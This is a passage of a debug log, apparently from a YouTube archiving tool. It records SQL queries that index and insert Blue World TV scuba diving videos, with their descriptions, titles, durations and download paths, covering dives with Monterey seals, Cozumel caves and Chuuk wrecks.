Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n\nChapters:\n0:00 Intro\n1:40 Meeting up with Robbie\n4:40 The Dive\n12:56 Heading back\n13:44 Summary\n14:07 Credits", "Two Divers go into a CAVE...with a gadget?", "55GGIDpWOqY", "https://www.youtube.com/watch?v=55GGIDpWOqY", 34, 868, false, "/downloads/rory/BlueWorldTV/2026-03-07 Two Divers go into a CAVE...with a gadget?/Two Divers go into a CAVE...with a gadget? [55GGIDpWOqY].mp4", false, ~U[2026-03-07 15:00:08Z]] 19:03:33.879 [debug] QUERY OK source="sources" db=0.3ms idle=4.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:03:33.880 [debug] QUERY OK source="media_items" db=0.8ms idle=3.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-07 15:00:51Z], 34] 19:03:33.882 [debug] QUERY OK source="media_items" db=0.9ms idle=4.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Camerawoman Christine (AKA \"The Boss\") travel to Monterey, California on a mission to film seals for a documentary that they are producing. With the help of Dane Durand from Aquarius Dive Shop, they go in search of Harbor seals, by day and night. Along the way they get to experience the amazing diving of Monterey Bay with kelp forests, lush gardens of anemones and all kinds of creatures!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\nJONATHAN BIRD'S BLUE WORLD is supported by the Bharat Family Foundation.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #seals #monterey \n\nChapters:\n0:00 Intro\n0:47 Arrival at Aquarius Dive Shop\n2:30 First Dive\n4:50 First Seals Arrive\n8:00 Second Dive\n10:54 Sea Lions on the Pier\n12:44 Night Dive\n18:15 Summary/Credits", "Diving with the HARBOR SEALS of Monterey Bay!", "eb485f13-f62b-4716-b8c7-d285942c2e81", "PkZk6395-xI", false, "https://www.youtube.com/watch?v=PkZk6395-xI", 34, [], 1151, false, 5, "/downloads/rory/BlueWorldTV/2026-02-07 Diving with the HARBOR SEALS of Monterey Bay!/Diving with the HARBOR SEALS of Monterey Bay! [PkZk6395-xI].mp4", false, false, 98, ~U[2026-02-07 15:00:51Z], ~U[2026-06-03 23:03:33Z], ~U[2026-06-03 23:03:33Z], "Jonathan and Camerawoman Christine (AKA \"The Boss\") travel to Monterey, California on a mission to film seals for a documentary that they are producing. With the help of Dane Durand from Aquarius Dive Shop, they go in search of Harbor seals, by day and night. Along the way they get to experience the amazing diving of Monterey Bay with kelp forests, lush gardens of anemones and all kinds of creatures!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\nJONATHAN BIRD'S BLUE WORLD is supported by the Bharat Family Foundation.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #seals #monterey \n\nChapters:\n0:00 Intro\n0:47 Arrival at Aquarius Dive Shop\n2:30 First Dive\n4:50 First Seals Arrive\n8:00 Second Dive\n10:54 Sea Lions on the Pier\n12:44 Night Dive\n18:15 Summary/Credits", "Diving with the HARBOR SEALS of Monterey Bay!", "PkZk6395-xI", "https://www.youtube.com/watch?v=PkZk6395-xI", 34, 1151, false, "/downloads/rory/BlueWorldTV/2026-02-07 Diving with the HARBOR SEALS of Monterey Bay!/Diving with the HARBOR SEALS of Monterey Bay! [PkZk6395-xI].mp4", false, ~U[2026-02-07 15:00:51Z]] 19:03:33.882 [debug] QUERY OK source="sources" db=0.3ms idle=4.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:03:33.883 [debug] QUERY OK source="media_items" db=0.8ms idle=3.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-03 15:00:25Z], 34] 19:03:33.885 [debug] QUERY OK source="media_items" db=1.0ms idle=3.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Todd join cave biologists Fernando Calderon Gutierrez and Jairo Arroyave in a search for new forms of life in Aerolito Cenote on the island of Cozumel, just off the coast of the Yucatan peninsula in Mexico.\n\nAS ALWAYS please remember we are certified cave divers and these adventure episodes are not instructional. They are adventures! We do not show every step of the process for a very good reason...these videos are NOT INSTRUCTIONAL. Do not enter a cave (wet or dry) without proper training and equipment. Cave diving is exceptionally dangerous. If you want to do it, get certified for it.\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cavediving #rebreather\n\nChapters:\n0:00 Tease/Open\n1:05 Arrive in Cozumel\n4:14 The Dive Begins\n10:55 Down Into the Basement\n15:16 Time to head back\n19:03 Summary and Credits", "Cave Diving for SCIENCE in Mexico!", "ff3f08ac-9f89-4ebf-8515-abe1d0d20cdb", "Fr8gGoyL7gs", false, "https://www.youtube.com/watch?v=Fr8gGoyL7gs", 34, [], 1245, false, 6, "/downloads/rory/BlueWorldTV/2026-01-03 Cave Diving for SCIENCE in Mexico!/Cave Diving for SCIENCE in Mexico! [Fr8gGoyL7gs].mp4", false, false, 98, ~U[2026-01-03 15:00:25Z], ~U[2026-06-03 23:03:33Z], ~U[2026-06-03 23:03:33Z], "Jonathan and Todd join cave biologists Fernando Calderon Gutierrez and Jairo Arroyave in a search for new forms of life in Aerolito Cenote on the island of Cozumel, just off the coast of the Yucatan peninsula in Mexico.\n\nAS ALWAYS please remember we are certified cave divers and these adventure episodes are not instructional. They are adventures! We do not show every step of the process for a very good reason...these videos are NOT INSTRUCTIONAL. Do not enter a cave (wet or dry) without proper training and equipment. Cave diving is exceptionally dangerous. If you want to do it, get certified for it.\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cavediving #rebreather\n\nChapters:\n0:00 Tease/Open\n1:05 Arrive in Cozumel\n4:14 The Dive Begins\n10:55 Down Into the Basement\n15:16 Time to head back\n19:03 Summary and Credits", "Cave Diving for SCIENCE in Mexico!", "Fr8gGoyL7gs", "https://www.youtube.com/watch?v=Fr8gGoyL7gs", 34, 1245, false, "/downloads/rory/BlueWorldTV/2026-01-03 Cave Diving for SCIENCE in Mexico!/Cave Diving for SCIENCE in Mexico! [Fr8gGoyL7gs].mp4", false, ~U[2026-01-03 15:00:25Z]] 19:03:33.885 [debug] QUERY OK source="sources" db=0.2ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:03:33.886 [debug] QUERY OK source="media_items" db=0.9ms idle=3.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-13 15:00:11Z], 34] 19:03:33.889 [debug] QUERY OK source="media_items" db=1.9ms idle=4.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The Blue World team continues exploring the wrecks of Chuuk (Truk) lagoon in this third installment of the Chuuk adventure series. Using rebreathers for some deep penetrations into the wrecks, we find all kinds of cool stuff including airplanes, a medical kit, and a machine shop with the famous \"R2D2\" compressor!\n\nThe wrecks explored in this segment are the Heian Maru, and Fujikawa Maru.\n\nWARNING! WRECK DIVING IS DANGEROUS AND REQUIRES TECHNICAL DIVE TRAINING! DO NOT ATTEMPT TO DIVE WRECKS WITHOUT PROPER TRAINING!\n\nThis is PART 3 of the Chuuk adventure. Did you see PARTS 1 & 2?\nhttps://youtu.be/N1tKGFoW7W8\nhttps://youtu.be/h2NPGc12V-4\n\nSpecial thanks to the amazing Truk Odyssey liveaboard in Chuuk. If you want to dive Chuuk, we can't say enough great things about this vessel and the crew!\nhttps://trukodyssey.com/\n\nCheck out our video of a tour of the Truk Odyssey live-aboard on @BlueWorldplus :\nhttps://youtu.be/YaCJumGjM4E\n\nAlso check out the website of Holger Buss who makes incredibly cool 3D models of wrecks all over the world.\nhttps://dive3d.eu/\n\nCheck out @TheJourneymanGuitarist to learn about John Wesley's work!\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nThank you so much to our channel members and Patreon supporters who help keep us going!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #wreckdiving #rebreathers\n\nChapters:\n0:00 Tease/Open\n0:27 Intro/History\n3:03 First Dive: Heian Maru\n14:24 Second Dive: Fujikawa Maru\n25:11 Summary and Credits", "Using Rebreathers to Dive DEEP INSIDE WWII wrecks of Truk (Chuuk) Lagoon! [Part 3]", "dd35bb8a-419f-4645-8190-5f33f5d3e081", "LKKh2j6XvUY", false, "https://www.youtube.com/watch?v=LKKh2j6XvUY", 34, [], 1557, false, 7, "/downloads/rory/BlueWorldTV/2025-12-13 Using Rebreathers to Dive DEEP INSIDE WWII wrecks of Truk (Chuuk) Lagoon! [Part 3]/Using Rebreathers to Dive DEEP INSIDE WWII wrecks of Truk (Chuuk) Lagoon! [Part 3] [LKKh2j6XvUY].mp4", false, false, 98, ~U[2025-12-13 15:00:11Z], ~U[2026-06-03 23:03:33Z], ~U[2026-06-03 23:03:33Z], "The Blue World team continues exploring the wrecks of Chuuk (Truk) lagoon in this third installment of the Chuuk adventure series. Using rebreathers for some deep penetrations into the wrecks, we find all kinds of cool stuff including airplanes, a medical kit, and a machine shop with the famous \"R2D2\" compressor!\n\nThe wrecks explored in this segment are the Heian Maru, and Fujikawa Maru.\n\nWARNING! WRECK DIVING IS DANGEROUS AND REQUIRES TECHNICAL DIVE TRAINING! DO NOT ATTEMPT TO DIVE WRECKS WITHOUT PROPER TRAINING!\n\nThis is PART 3 of the Chuuk adventure. Did you see PARTS 1 & 2?\nhttps://youtu.be/N1tKGFoW7W8\nhttps://youtu.be/h2NPGc12V-4\n\nSpecial thanks to the amazing Truk Odyssey liveaboard in Chuuk. If you want to dive Chuuk, we can't say enough great things about this vessel and the crew!\nhttps://trukodyssey.com/\n\nCheck out our video of a tour of the Truk Odyssey live-aboard on @BlueWorldplus :\nhttps://youtu.be/YaCJumGjM4E\n\nAlso check out the website of Holger Buss who makes incredibly cool 3D models of wrecks all over the world.\nhttps://dive3d.eu/\n\nCheck out @TheJourneymanGuitarist to learn about John Wesley's work!\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nThank you so much to our channel members and Patreon supporters who help keep us going!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #wreckdiving #rebreathers\n\nChapters:\n0:00 Tease/Open\n0:27 Intro/History\n3:03 First Dive: Heian Maru\n14:24 Second Dive: Fujikawa Maru\n25:11 Summary and Credits", "Using Rebreathers to Dive DEEP INSIDE WWII wrecks of Truk (Chuuk) Lagoon! [Part 3]", "LKKh2j6XvUY", "https://www.youtube.com/watch?v=LKKh2j6XvUY", 34, 1557, false, "/downloads/rory/BlueWorldTV/2025-12-13 Using Rebreathers to Dive DEEP INSIDE WWII wrecks of Truk (Chuuk) Lagoon! [Part 3]/Using Rebreathers to Dive DEEP INSIDE WWII wrecks of Truk (Chuuk) Lagoon! [Part 3] [LKKh2j6XvUY].mp4", false, ~U[2025-12-13 15:00:11Z]] 19:03:33.889 [debug] QUERY OK source="sources" db=0.3ms idle=5.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:03:33.890 [debug] QUERY OK source="media_items" db=0.8ms idle=4.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-22 15:01:37Z], 34] 19:03:33.891 [debug] QUERY OK source="media_items" db=0.9ms idle=5.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Todd venture to Roatan to join the 2025 DiveTalk Meetup where they make new friends and do some great dives on their DiveTalk Go rebreathers! Not only do they have some amazing reef dives, but the do a 200 foot trimix dive on the wreck of the Josie J.\n\nSeason 10 of Jonathan Bird's Blue World is made possible by the Bharat Family Foundation.\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #wreckdiving #rebreather \n\nChapters:\n0:00 Intro\n3:30 First Dive\n11:04 Pool Sessions\n12:56 Wreck Dive Intro\n17:24 Start of Wreck Dive\n24:55 Summary/credits", "DEEP Wreck Dive on Roatan with DiveTalk!", "7c1bd503-9e61-4d05-9009-9610678acc5d", "oBz4K-WfOfA", false, "https://www.youtube.com/watch?v=oBz4K-WfOfA", 34, [], 1539, false, 8, "/downloads/rory/BlueWorldTV/2025-11-22 DEEP Wreck Dive on Roatan with DiveTalk!/DEEP Wreck Dive on Roatan with DiveTalk! [oBz4K-WfOfA].mp4", false, false, 98, ~U[2025-11-22 15:01:37Z], ~U[2026-06-03 23:03:33Z], ~U[2026-06-03 23:03:33Z], "Jonathan and Todd venture to Roatan to join the 2025 DiveTalk Meetup where they make new friends and do some great dives on their DiveTalk Go rebreathers! Not only do they have some amazing reef dives, but the do a 200 foot trimix dive on the wreck of the Josie J.\n\nSeason 10 of Jonathan Bird's Blue World is made possible by the Bharat Family Foundation.\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #wreckdiving #rebreather \n\nChapters:\n0:00 Intro\n3:30 First Dive\n11:04 Pool Sessions\n12:56 Wreck Dive Intro\n17:24 Start of Wreck Dive\n24:55 Summary/credits", "DEEP Wreck Dive on Roatan with DiveTalk!", "oBz4K-WfOfA", "https://www.youtube.com/watch?v=oBz4K-WfOfA", 34, 1539, false, "/downloads/rory/BlueWorldTV/2025-11-22 DEEP Wreck Dive on Roatan with DiveTalk!/DEEP Wreck Dive on Roatan with DiveTalk! [oBz4K-WfOfA].mp4", false, ~U[2025-11-22 15:01:37Z]] 19:03:33.892 [debug] QUERY OK source="sources" db=0.2ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:03:33.893 [debug] QUERY OK source="media_items" db=0.8ms idle=3.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-25 14:01:08Z], 34] 19:03:33.897 [debug] QUERY OK source="media_items" db=3.8ms idle=3.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Todd team up with rock guitarist John Wesley and travel to Chuuk Atoll (sometimes known as Truk) in the Federated States of Micronesia to dive the shipwrecks resulting from a World War II battle in 1944. The sheer number of wrecks make Chuuk the \"wreck diving capital of the world.\" It's a wreck diving adventure, and the second in a series of five episodes coming from our Chuuk expedition. \n\nThe wrecks explored in this segment are the Nippo Maru, Sankisan Maru and Rio Dejaneiro Maru.\n\nThis is PART 2 of the Chuuk adventure. Did you see PART 1?\nhttps://youtu.be/N1tKGFoW7W8\n\nSpecial thanks to the amazing Truk Odyssey liveaboard in Chuuk. If you want to dive Chuuk, we can't say enough great things about this vessel and the crew!\nhttps://trukodyssey.com/\n\nCheck out @TheJourneymanGuitarist to learn about John Wesley's work!\n\nAlso check out the website of Holger Buss who makes incredibly cool 